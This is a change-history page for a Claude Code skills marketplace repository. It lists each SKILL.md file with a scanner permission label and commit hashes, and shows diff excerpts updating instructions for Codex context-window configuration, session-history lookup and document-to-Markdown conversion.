#643 by GitHub stars

daymade/claude-code-skills

Professional Claude Code skills marketplace featuring production-ready skills for enhanced development workflows.

History

Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.

View weekly changes

app-evolver/SKILL.md

Week of Nov 2, 2026 · +4 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

This preview is limited. See the complete change on GitHub.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

auto-repo-setup/SKILL.md

Week of Nov 2, 2026 · +6 / −1 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

This preview is limited. See the complete change on GitHub.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

bilibili-source/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

cli-demo-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

cloudflare-troubleshooting/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

competitors-analysis/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

cookie-copy/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

data-visualization-discipline/SKILL.md

Week of Nov 2, 2026 · +41 / −43 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

This preview is limited. See the complete change on GitHub.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-audio/asr-transcribe-to-text/SKILL.md

Week of Nov 2, 2026 · +29 / −8 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

This preview is limited. See the complete change on GitHub.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-audio/audio-router/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-audio/meeting-minutes-taker/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-audio/stepfun-asr/SKILL.md

Week of Nov 2, 2026 · +40 / −12 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

This preview is limited. See the complete change on GitHub.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-audio/stepfun-tts/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-audio/transcript-fixer/SKILL.md

Week of Nov 2, 2026 · +6 / −2 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

This preview is limited. See the complete change on GitHub.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-claude-code/agent-web-search-setup/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-claude-code/claude-code-hooks/SKILL.md

Week of Nov 2, 2026 · +5 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

This preview is limited. See the complete change on GitHub.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-claude-code/claude-code-ops-router/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-claude-code/claude-code-ping-start-5h-quota/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-claude-code/claude-export-txt-better/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-claude-code/claude-md-progressive-disclosurer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-claude-code/claude-migrate-memory-to-doc/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-claude-code/claude-skills-troubleshooting/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-claude-code/claude-switch-models-setup/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-claude-code/claude-usage-analyst/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-claude-code/continue-claude-code-work/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-claude-code/continue-codex-work/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-claude-code/lark-cli-router/SKILL.md

Week of Nov 2, 2026 · +14 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

This preview is limited. See the complete change on GitHub.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-claude-code/local-conversation-history/SKILL.md

Week of Nov 2, 2026 · +5 / −4 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

This preview is limited. See the complete change on GitHub.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-claude-code/marketplace-dev/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-claude-code/prior-work-retrieval/SKILL.md

Week of Nov 2, 2026 · +30 / −10 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

+ 165 

This preview is limited. See the complete change on GitHub.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-claude-code/read-claude-code-history/SKILL.md

Week of Nov 2, 2026 · +6 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

This preview is limited. See the complete change on GitHub.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-claude-code/read-claude-web-conversation/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-claude-code/read-codex-history/SKILL.md

Week of Nov 2, 2026 · +57 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

+ 100 | Identify Codex work after a terminal disappears, including ToDesk/headless terminals | [Terminal-session recovery](references/terminal-session-recovery.md): bind host/cwd, query the index, then verify records and terminal attribution separately |
+ 111 | The latest conversation about a topic, including a newer continuation | **Latest topic across continuations** below: recall locates relevant projects, index-only inventory finds recency candidates, and original records decide relatedness |
+ 179 
+ 180 ### Latest topic across continuations
+ 181 
+ 182 First bind the requested recency:
+ 183 
+ 184 - For the **latest conversation about a topic**, use the route below.
+ 185 - For the **newest message matching supplied words**, use indexed content search and
+ 186   compare verified original-record timestamps within the stated coverage. This is
+ 187   not the latest related Session, and relevance rank is not time order.
+ 188 - For **two supplied Sessions**, read only those exact IDs and compare their relevant
+ 189   original-record timestamps; do not invoke global inventory.
+ 190 
+ 191 For the latest conversation about a topic:
+ 192 
+ 193 1. Run `read-claude-code-history/scripts/history_index.py status`, then `recall`
+ 194    with `--provider codex --exclude-session <CURRENT_ID>` to find earlier related
+ 195    Sessions. Resolve their cwd through `find_codex_session.py <ID>`; an encoded
+ 196    project label is not a verified filesystem path. Treat relevance top-K only as
+ 197    topic/project leads, never as a latest answer. Record provider scope and freshness.
+ 198 2. For each relevant cwd, inspect the existing main-session inventory:
+ 199 
+ 200    ```text
+ 201    <skill-dir>/scripts/list_local_history.py \
+ 202      --source codex --index-only --cwd <workspace> --include-archived \
+ 203      --from-date <EARLIEST_TOPIC_DATE> --limit 50 --format json
+ 204    ```
+ 205 
+ 206    Omit an unknown date bound. Date filters use created/updated overlap, so an older

This preview is limited. See the complete change on GitHub.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-claude-code/statusline-generator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-claude-code/tech-selection/SKILL.md

Week of Nov 2, 2026 · +11 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

+ 72 
+ 73 For observability choices, name the business decision the missing measurement
+ 74 would change before trying another collector. Distinguish application payload,
+ 75 host/interface traffic and provider billing by direction, time window and coverage;
+ 76 a healthy collector or a more exact counter does not establish cost attribution.
+ 77 If existing signals already support the next authorized business action, integrate
+ 78 and verify that path before extending the comparison. Keep required but unmet
+ 79 coverage open; do not silently replace the user's requirement with the easier
+ 80 measurement, or promote optional all-process/wire-byte precision into a new
+ 81 requirement. Reopen selection when a concrete coverage gap changes that decision,
+ 82 not merely because another candidate can expose more metrics.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-claude-code/terminal-screenshot/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-codex/codex-1m-context-window-setup/SKILL.md

Week of Nov 2, 2026 · +96 / −26 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

- 5   Use when Codex shows ~258K context, you want 500K or 1M tokens, auto-compaction fires too often,
- 6   or model_context_window/model_auto_compact_token_limit needs repair. Not for changing the selected
- 7   model or other Codex settings.
- 8 argument-hint: "[doctor|apply|verify]"
+ 5   Use to inspect local context settings, lower or set the auto-compaction threshold, expand
+ 6   ~258K context to 500K or 1M, or repair model_context_window/model_auto_compact_token_limit.
+ 7   Not for changing the selected model or other Codex settings.
+ 8 argument-hint: "[show|set-compact --tokens N|doctor|apply|verify]"
- 13 Expand future Codex sessions without pretending every model supports one million
- 14 tokens. The bundled script reads Codex's current model catalog, caps the request at
- 15 the selected model's declared maximum, and applies the user's established 60%
- 16 auto-compaction policy.
+ 13 Inspect local settings or change only automatic compaction. For full context
+ 14 expansion, read Codex's current model catalog, cap the request at the model's
+ 15 declared maximum, and apply the bundled expansion preset.
- 22 | Inspect the current limit, explain 258K, or preview the recommendation | Run `doctor` |
+ 21 | Read the current base-config window or compaction threshold | Run `show`; no Codex process or model catalog needed |
+ 22 | Lower/set only automatic compaction | Run `show`, then `set-compact --tokens N` |
+ 23 | Explain 258K, diagnose model limits, or preview full expansion | Run `doctor` |
- 26 Do not ask the user for raw token numbers. The model catalog is the authority and
- 27 the script derives the attainable values.
+ 27 Honor a user-specified threshold exactly. If the user only asks for a small
+ 28 reduction, choose and state a modest reversible reduction from the observed value.
+ 29 For expansion, derive attainable values from the live catalog instead of asking
+ 30 the user for model limits. Running `apply` selects the full expansion preset and
+ 31 replaces a custom threshold; do it only when full setup is requested.
+ 32 
+ 33 For local reads/edits, start with the bundled commands. Do not dump config.toml,
+ 34 load unrelated machine manuals, or run network/model diagnostics. Consult official
+ 35 OpenAI documentation when parameter semantics or compatibility are unresolved;
+ 36 it cannot establish this machine's current value. Respect host output restrictions;
+ 37 if numeric output is denied, use its supported field-condition probe and keep an
+ 38 unread value unknown. Do not reconstruct denied values through repeated comparisons.
+ 39 
+ 40 ## Prerequisites
+ 41 
+ 42 Use Python 3.11+ for the script's `tomllib` dependency and uv for the documented
+ 43 launcher. `show` needs no Codex executable. `set-compact` requires a Codex CLI
+ 44 supporting `features list`; full expansion additionally requires `doctor --json`,
+ 45 `debug models` and strict-config diagnostics. Missing expansion support does not
+ 46 prevent a local read. Do not substitute another config root or guessed model data
+ 47 when a required command is unavailable.
+ 50 
+ 51 Run the bundled [configuration script](scripts/codex_context_window.py).
- 41 On macOS/Linux, set that exact directory and run:
+ 63 On macOS/Linux, set that exact directory:
- 45 uv run --no-project python "$SKILL_DIR/scripts/codex_context_window.py" doctor
- 46 uv run --no-project python "$SKILL_DIR/scripts/codex_context_window.py" apply
- 47 uv run --no-project python "$SKILL_DIR/scripts/codex_context_window.py" verify
- 54 uv run --no-project python "$SkillDir/scripts/codex_context_window.py" doctor
- 55 uv run --no-project python "$SkillDir/scripts/codex_context_window.py" apply
- 56 uv run --no-project python "$SkillDir/scripts/codex_context_window.py" verify
+ 74 
+ 75 Execute only the branch selected under **Route the request**. In the commands
+ 76 below, PowerShell users substitute `$SkillDir` for `$SKILL_DIR`.
+ 77 
+ 78 ### `show` and `set-compact`
+ 79 
+ 80 Use the same resolved script path on either platform:
+ 81 
+ 82 ```bash
+ 83 uv run --no-project python "$SKILL_DIR/scripts/codex_context_window.py" show --json
+ 84 uv run --no-project python "$SKILL_DIR/scripts/codex_context_window.py" set-compact --tokens 400000 --json
+ 85 uv run --no-project python "$SKILL_DIR/scripts/codex_context_window.py" show --json
+ 86 ```
+ 87 
+ 88 Choose `--tokens` from the current request, not this example. `show` emits only
+ 89 the numeric settings, the config path and evidence status; a missing value is null,
+ 90 not a guessed default.
+ 91 It does not inspect profile or command-line overrides.
+ 92 
+ 93 `set-compact` preserves the context-window setting, profiles, comments and existing
+ 94 formatting; inserting a missing key may add a separating newline. It rejects
+ 95 nonpositive/out-of-range tokens and thresholds
+ 96 above an explicitly configured window. When the window is absent, leave it absent;
+ 97 model-derived runtime caps remain unverified. Before a changed write, back up the
+ 98 original and check for concurrent edits. Write atomically, run the local
+ 99 `codex features list` configuration-load check with captured output, and read back
+ 100 the target. Restore the original on validation failure unless a concurrent edit
+ 101 makes that unsafe. A no-op creates no backup. Do not echo diagnostic bodies that
+ 102 may contain unrelated configuration. Use `show` afterward as independent readback.
- 61 Run first. It is read-only and reports:
+ 106 Run first for full expansion or model-cap diagnosis:
+ 107 
+ 108 ```bash
+ 109 uv run --no-project python "$SKILL_DIR/scripts/codex_context_window.py" doctor --json
+ 110 ```
+ 111 
+ 112 It is read-only and reports:
- 65 - requested raw window (up to 1,000,000), usable window, and 60% compaction point;
+ 116 - recommended raw window, usable window, and preset compaction point;
- 69 If Codex cannot return a live model catalog, stop. Do not substitute remembered
- 70 model limits, API marketing numbers, or a bundled default.
+ 120 If Codex cannot return a live model catalog, stop the expansion path. Do not
+ 121 substitute remembered model limits, API marketing numbers, or a bundled default.
+ 122 Local `show`/`set-compact` remain independent of catalog availability.
- 74 Run only after `doctor` succeeds. The script:
+ 126 Run only after `doctor` succeeds:
+ 127 
+ 128 ```bash
+ 129 uv run --no-project python "$SKILL_DIR/scripts/codex_context_window.py" apply --json
+ 130 ```
+ 131 
+ 132 The script:
- 92 recommendation. Report the mismatch; do not call it configured.
+ 150 expansion preset. A deliberate custom threshold can differ from that preset; this
+ 151 is not proof that the saved threshold is invalid. Use `show` for its current base value.
+ 152 
+ 153 ```bash
+ 154 uv run --no-project python "$SKILL_DIR/scripts/codex_context_window.py" verify --json
+ 155 ```
- 96 Copy exact values from script output. Include:
+ 159 For a threshold-only change, report previous → saved tokens, backup path when
+ 160 changed, local configuration-load result and independent readback. Keep
+ 161 `session_adoption: unverified` until the actual consumer supplies evidence. Ask
+ 162 the user to start a new CLI thread or restart/open a new Desktop thread that reads
+ 163 this base config; do not claim the running thread changed. Profile and `-c`
+ 164 overrides can still supersede it.
+ 165 
+ 166 For expansion, copy exact values from script output. Include:

This preview is limited. See the complete change on GitHub.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-codex/codex-image-gallery/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-codex/design-style-picker/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-codex/interaction-design-board/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-codex/local-codex/SKILL.md

Week of Nov 2, 2026 · +31 / −1 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

- 26 - Before login, account switching or token recovery, read [the OAuth guide](references/oauth-guide.md) and follow its [recovery recipe](references/oauth-guide.md#remote-account-switch-and-expired-login-recovery). Use fresh empty stores for independent grants, retain explicitly authorized single-owner transfers, and verify actual access and existing-process adoption separately.
+ 26 - Before login, account switching or token recovery, read [the OAuth guide](references/oauth-guide.md). For a running native owner, [compare its account with the saved login first](references/oauth-guide.md#existing-native-owner-recovery); choose saved-login adoption, token recovery or new authorization from the observed state. Retain [independent-grant recovery](references/oauth-guide.md#remote-account-switch-and-expired-login-recovery), explicit single-owner transfers and separate access, process-adoption and business-continuation checks.
+ 66 
+ 67 ### Executable identity baseline (opt-in)
+ 68 
+ 69 Before an expensive build, resume or recovery claim that depends on *which*
+ 70 codex entry is in play, freeze the identity once and compare it at claim time;
+ 71 never refresh a baseline to make a comparison pass.
+ 72 
+ 73 ```bash
+ 74 # Freeze once, before the work (add --watch-file for owner-selected configs):
+ 75 python3 scripts/entry_identity.py snapshot --output <task-owned-baseline.json>
+ 76 # Compare before the expensive claim:
+ 77 python3 scripts/entry_identity.py check --baseline <task-owned-baseline.json>
+ 78 ```
+ 79 
+ 80 The check separates the owning-shell dispatch entry (what `/bin/zsh -lic`
+ 81 resolves `codex` to: external, function, alias) from the wrapper-selected
+ 82 external executable (the `CODEX_BIN` > PATH > app-bundle order above). Exit
+ 83 codes: `0` unchanged, `1` drift, `2` unknown, `3` usage or baseline error.
+ 84 `unchanged` is identity-only evidence — it never proves wrapper downstream
+ 85 runtime, authentication, quota or model health. When the dispatch entry is a
+ 86 function or alias, its consumer stays opaque (the definition is hashed, never
+ 87 executed). Verify its downstream executable through the launcher's owner;
+ 88 setting `CODEX_BIN` selects the wrapper and does not prove where a function runs.
+ 89 Read [entry-identity.md](references/entry-identity.md) for
+ 90 fields, failure shapes and a startup-report example.
+ 161 Before an authorized shared-daemon restart or package replacement, read
+ 162 [shared daemon maintenance](references/shared-daemon-maintenance.md). Preserve
+ 163 affected work, retain an independent operation receipt, and verify continuation
+ 164 under the original session IDs; a new daemon is not proof that tasks resumed.
+ 165 

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-docs/doc-to-markdown/SKILL.md

Week of Nov 2, 2026 · +51 / −70 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

- 5   Converts DOCX/PDF/PPTX and saved HTML/HTM to high-quality Markdown with automatic post-processing. Fixes pandoc grid tables, simple tables, image paths, CJK bold spacing, attribute noise, and code blocks; for PDFs also strips OCR garbage blocks, repeated headers/footers/watermarks, and absolute image paths from pymupdf4llm output. Benchmarked best-in-class (7.6/10) against Docling, MarkItDown, Pandoc raw, and Mammoth. Trigger on "convert document", "docx to markdown", "parse word", "doc to markdown", "解析word", "转换文档", "HTML to Markdown".
+ 5   Converts DOCX/PDF/PPTX and saved HTML/HTM to high-quality Markdown with automatic post-processing. Fixes pandoc grid tables, simple tables, image paths, CJK bold spacing, attribute noise, and code blocks; for PDFs also strips OCR garbage blocks, repeated headers/footers/watermarks, and absolute image paths from pymupdf4llm output. Trigger on "convert document", "docx to markdown", "parse word", "doc to markdown", "解析word", "转换文档", "HTML to Markdown".
- 12 **Architecture**: Pandoc (best-in-class extraction) + 8 post-processing fixes (our value-add).
+ 12 **Architecture**: Format-specific converters with automatic post-processing.
- 17 # DOCX → Markdown (one command, zero manual fixes)
- 18 uv run --with pymupdf4llm --with markitdown scripts/convert.py document.docx -o output.md --assets-dir ./media
+ 17 # DOCX → Markdown
+ 18 uv run --with pymupdf --with pymupdf4llm --with "markitdown[pdf]" scripts/convert.py document.docx -o output.md --assets-dir ./media
- 21 uv run --with pymupdf4llm --with markitdown scripts/convert.py document.pdf -o output.md
+ 21 uv run --with pymupdf --with pymupdf4llm --with "markitdown[pdf]" scripts/convert.py document.pdf -o output.md
- 30 ## Dual Mode
- 31 
- 32 | Mode | Speed | Quality | Use Case |
+ 30 ## Conversion Modes
+ 31 
+ 32 | Mode | Speed | Selection | Use Case |
- 34 | **Quick** (default) | Fast | Good | Drafts, simple documents |
- 35 | **Heavy** | Slower | Best | Final documents, complex layouts |
+ 34 | **Quick** (default) | Fast | Single converter | Drafts, simple documents |
+ 35 | **Heavy** | Slower | Compares converter candidates | Complex layouts needing source review |
- 39 | Format | Quick Mode | Heavy Mode |
- 40 |--------|-----------|------------|
- 41 | PDF | pymupdf4llm | pymupdf4llm + markitdown |
- 42 | DOCX | pandoc + post-processing | pandoc + markitdown |
- 43 | PPTX | markitdown | markitdown + pandoc |
- 44 | XLSX | markitdown | markitdown |
- 45 | HTML/HTM | pandoc + source-href retention check | unsupported; use the HTML quick path |
+ 39 Read [`select_tools`](scripts/convert.py) for format preferences and availability
+ 40 filtering. HTML/HTM follows the [saved HTML procedure](references/html-conversion.md).
+ 41 For Heavy Mode selection and failure handling, read
+ 42 [its procedure](references/heavy-mode-guide.md#selection-behavior).
+ 43 
+ 44 ## PDF Manuals And Question Banks
+ 45 
+ 46 Before delivering a PDF conversion or changing its structure, follow the
+ 47 [PDF acceptance procedure](references/pdf-acceptance.md). It owns source comparison,
+ 48 structural review, actual-reader checks and original-file handoff.
- 63 When converting DOCX via pandoc, 8 cleanups are applied automatically:
+ 66 When converting DOCX via pandoc, these cleanups are applied automatically:
- 71 | CJK bold spacing (`**粗体**中文`) | Add space around `**` for CJK bold spans | `TestCjkBoldSpacing` (15 cases) |
+ 74 | CJK bold spacing (`**粗体**中文`) | Add space around `**` for CJK bold spans | `TestCjkBoldSpacing` |
- 76 ## PDF Post-Processing (automatic, 2026-08-30 起)
- 77 
- 78 When converting PDF via pymupdf4llm, 3 cleanups are applied automatically (skip with `--no-postprocess`):
+ 79 ## PDF Post-Processing (automatic)
+ 80 
+ 81 When converting PDF via pymupdf4llm, these cleanups are applied automatically (skip with `--no-postprocess`):
- 83 | Repeated header/footer/watermark lines (same normalized line on ≥60% of pages, incl. diagonal watermarks) | Detected via pymupdf cross-page scan, removed from markdown; bold-wrapped and merged-with-page-number variants also caught | `TestRepeatingLines` |
+ 86 | Repeated header/footer/watermark lines (including diagonal watermarks) | Detected via pymupdf cross-page scan, removed from markdown; bold-wrapped and merged-with-page-number variants also caught | `TestRepeatingLines` |
- 86 Heavy mode additionally prints a loud `⚠<U+FE0F> HEAVY MODE DEGRADED` warning on stderr when one engine fails and the merge would otherwise silently degrade to single-engine output.
- 87 
- 88 **Known limits (learned from a 62-page Chinese research-report conversion, 2026-08-30):**
+ 89 For engine availability and failure handling, read [Heavy Mode selection](references/heavy-mode-guide.md#selection-behavior).
+ 90 
+ 91 **Known limits:**
- 103 After:  打开 **飞书** ,就可以  → universally renders correctly
+ 106 After:  打开 **飞书** ,就可以  → inspect bold rendering in the target reader
- 108 Heavy Mode runs multiple tools in parallel and selects the best segments:
- 109 
- 110 1. **Parallel Execution**: Run all applicable tools simultaneously
- 111 2. **Segment Analysis**: Parse each output into segments (tables, headings, images, paragraphs)
- 112 3. **Quality Scoring**: Score each segment based on completeness and structure
- 113 4. **Intelligent Merge**: Select best version of each segment across tools
- 114 
- 115 ### Merge Criteria
- 116 
- 117 | Segment Type | Selection Criteria |
- 118 |--------------|-------------------|
- 119 | Tables | More rows/columns, proper header separator |
